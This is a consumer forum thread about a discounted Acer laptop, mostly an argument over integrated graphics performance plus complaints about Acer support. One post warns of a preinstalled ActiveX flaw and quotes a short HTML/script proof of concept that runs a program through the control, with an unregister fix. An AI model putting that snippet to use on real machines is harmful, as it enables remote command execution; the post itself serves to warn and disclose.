Tesco Direct - Acer Laptop £374 Delivered

Colsta

rthirlby wrote:

Well of course the graphics card is integrated, 99% of all laptops have integrated graphics cards as they are built into the main circuit board.

You have your definitions confused I'm afraid. Here are the abridged Wikipedia definitions to clarify your understanding:

Integrated graphics solutions, or shared graphics solutions are graphics processors that utilize a portion of a computer's system RAM rather than dedicated graphics memory. Such solutions are typically far less expensive to implement in comparison to dedicated graphics solutions, but at a trade-off of being far less capable and are generally considered unfit to play modern games as well as run graphically intensive programs such as Adobe Flash.

Dedicated Graphics Cards
The most powerful class of GPUs typically interface with the motherboard by means of an expansion slot such as PCI Express Graphics (PEG) or Accelerated Graphics Port (AGP) However, a dedicated GPU is not necessarily removable, nor does it necessarily interface with the motherboard in a standard fashion. The term "dedicated" refers to the fact that dedicated graphics cards have RAM that is dedicated to the card's use, not to the fact that most dedicated GPUs are removable.


In a sentence, what this actually says is Integrated graphics are considerably slower than their dedicated counterparts. Below are some 3DMark '03 results (3DMark is considered THE gamers benchmark) gathered from http://www.notebookcheck.net/ which substantiate this point. You will notice that the dedicated video cards exceed the performance of integrated solutions (which this Acer laptop has) by a factor of 4 or more, which directly translates into the ability to handle 3D games better.

Integrated Cards (without their own video RAM):

ATI Xpress 200m - 1100
Intel GMA 950 - 1280
Intel GMA 900 - 900
ATI Xpress 1100 - 1330

Dedicated Cards (with their own video RAM):

Nvidia Go 6600 - 5800
ATI Mobility X700 - 6000
ATI Mobility x1600 - 8000
Nvidia Go 7600 - 7800


So I stand by my previous assertions and suggest that you are mistaken in recommending this laptop for 3D games. Whilst I'm sure it will cope with older games, DVD playback, office apps etc, I would NOT recommend this laptop as being suitable for playing modern 3D games.

rthirlby

Erm yes its integrated I agreed with you
I dont see what your arguing about ????

Im saying this integrated card is better than an integrated sis or Intel graphics card. It has more features than the generic run of the mill cheap as chips integrated solutions.

I know it uses the CPU, I know it uses the system memory.


Not all integrated solutions are equal to each other
As you show in your post the card performs better than the other cards. Im not saying its going to play the latest games im just saying its more capable and will give better results than other integrated graphics cards.


I stand by my point

bad_harry

hi - looking for laptop for my daughter's 18th and this is perfect price wise and think i'll just go with the advice here - one minor point - does it play and record both cds and dvds? - the spec doesn't spell it out in laymans terms so if someone couls confirm i'd be v grateful.

Colsta

rthirlby wrote:

Erm yes its integrated I agreed with you
I dont see what your arguing about ????

The point I was trying to make is this:
Your original post said that this laptop has (quote) a "GOOD graphics card capable of playing games", and that other laptops "have basic Intel or SIS rubbish graphics cards that just cant handle any modern games". You also mentioned that you are a laptop engineer to add credence to this.

As an IT specialist myself, I felt obliged to point out that:

• the Xpress 1100 is NOT a radical shift in 3D gaming price/performance
• it IS directly comparable to other current integrated graphic chipsets (like the Intel and SiS chipsets)

I wanted to make sure that potential purchasers were not misguided about this laptop being suitable for playing contemporary 3D games - it simply isn't.

That said, I have owned an Acer now myself (with a dedicated 3D chipset) for the last 15 months and can't fault much except the extremely tinny speakers. I would still class your discovery as a worthwhile investment if gaming isn't a priority.

Hope that clarifies things.

2tellyou

why ? the short story

1. sent my laptop to be fixed under warranty - pixels died
2.they lost it and claimed did not recieve it
3.they then found it and the condition was worse - screen was broken
4.sent back and issued a writ (i would have done this straight away but it was summer hols for uni and therefore didnt use my laptop)
5.i asked them for a new one and damages plus writ costs +warranty - they offered me a new laptop + 3 months warranty , £340 damages and £120 writ cost.

what a disaster. the managers lie and the staff are badly trained - team leaders mike and ian come to mind - awful service.

rthirlby

Colsta wrote:

As an IT specialist myself, I felt obliged to point out that:

• the Xpress 1100 is NOT a radical shift in 3D gaming price/performance
• it IS directly comparable to other current integrated graphic chipsets (like the Intel and SiS chipsets)

Nobody said this card could shift the earth under your feat, it was simply stated that it was better than the generic rubbish which it clearly is. Your very own posts confirm that it is better.

To quote yourself from an earlier post:

Colsta wrote:

For those that aren't technically minded, this means that these laptops are perfectly suited for most tasks including basic games (and a good deal at the price). HOWEVER they ARE NOT suitable for proper 3D gaming (e.g Halo, Doom 3, World of Warcraft). If 3D gaming performance is a must have for you, then look elsewhere because you won't see a suitable laptop in this price range.

This laptop is capable of playing games like Halo and will most definately play World Of Warcraft

WOW Requirements for a graphics card:
32 MB 3D video card with Hardware T&L or better


The Radeon X1100 supports this so saying the laptop cant play WOW is just plain wrong. I can also confirm myself that WOW runs and plays fine on this laptop as I play the game myself.

Colsta

rthirlby wrote:

Nobody said this card could shift the earth under your feat, it was simply stated that it was better than the generic rubbish which it clearly is.

Err, no. It quite clearly isn't.

rthirlby wrote:

Your very own posts confirm that it is better.

The performance metrics I posted show that the Xpress 1100 has a marginal improvement over the competition, BUT it is still very much in the same performance class as the cards you rubbished! As such it is unsuited to contemporary 3D gaming. For example, if we take the lowest performer there - the truly diabolical GMA900 - as the standard, then the Xpress 1100 yields a performance gain of 147% as tested with 3Dmark '03. This is considerably short of the 644% performance increase (as supplied by the Nvidia Go 6600) independently judged by the gaming community at large as providing a reasonable gaming experience.

Anyway, I've said all I wish to say on this subject. I certainly don't wish our disagreement to confuse potential buyers any more than they may already be.

My advice to potential buyers about whether this laptop is suitable for gaming is don't listen to either of us! Find out for yourself by paying a visit to the technical forums hosted on Hexus, Slashdot, Toms hardware or Anandtech and ask the friendly gaming community if the Ati Xpress 1100 is deemed suitable for 3D gaming. I'm sure you will swiftly be told.

urbanite

!!!!!!! Beware of Acer Laptops & Desktops !!!!!!!

Acer computers that come with Windows pre installed can easily be exploited due to an active-x control that is in the installation.
A few lines of code, such as:

<object classid="clsid:D9998BD0-7957-11D2-8FED-00606730D3AA" id="hahaha">
</object>
<script>
hahaha.Run("c", "\\windows\\system32\\calc.exe", "");
</script>

can execute any command on your pc.

Source: http://yro.slashdot.org/article.pl?sid=07/01/08/0515200


The security flaw can be removed with:

c\windows\system32\regsvr32.exe -u lunchapp.ocx

A bargain normally comes at a price

Colsta

urbanite wrote:

Acer computers that come with Windows pre installed can easily be exploited due to an active-x control that is in the installation.

I completely rebuilt my Acer the day I bought it with Ubuntu Linux, and a small fresh XP partition for games. Jolly glad I did too

To put this issue into perspective for anyone that's bought an Acer and is concerned by this - the real problem is actually ActiveX and the way it can be readily exploited. By all means follow Urbanites advice about removing this control as a fix for this specific issue.

In the longer run, I would advise anyone to install Firefox web browser and mitigate further ActiveX issues (or at the very least make sure you have Internet Explorer 7 and be warned before they run!!)

RogerPJ

JollyNolly wrote:

Acer? Now let me see - where's my bargepole...

I fully agree. I bought an Acer PC from eBuyer which was advertised by eBuyer and Acer as having RAID on board. I specifically wanted to mirror my boot drive so chose the Acer as it was a fair price and seemed a good spec.

It arrived quickly but had no RAID! After many many e-mails and support phone calls I threatened court action and finally got a truthful answer from a techy (who was passing when I was giving the lady on the phone grief!) Acer had changed the motherboard on that model, but not bothered to update the spec!!

I was furious and Trading Standards said I could ask eBuyer for a full refund due to false advertising, but I didn't bother as I'd sold it and built my own by then.

Personally I would never ever buy an Acer PC or laptop no matter how cheap it was as I know their support is useless. Pay a bit extra and stick to Toshiba e.g.

http://www.staples.co.uk/ENG/Catalog/cat_sku.asp?webid=S386454&catIds=%2C&affixedcode=WW

and use Quidco to get a bit of cashback...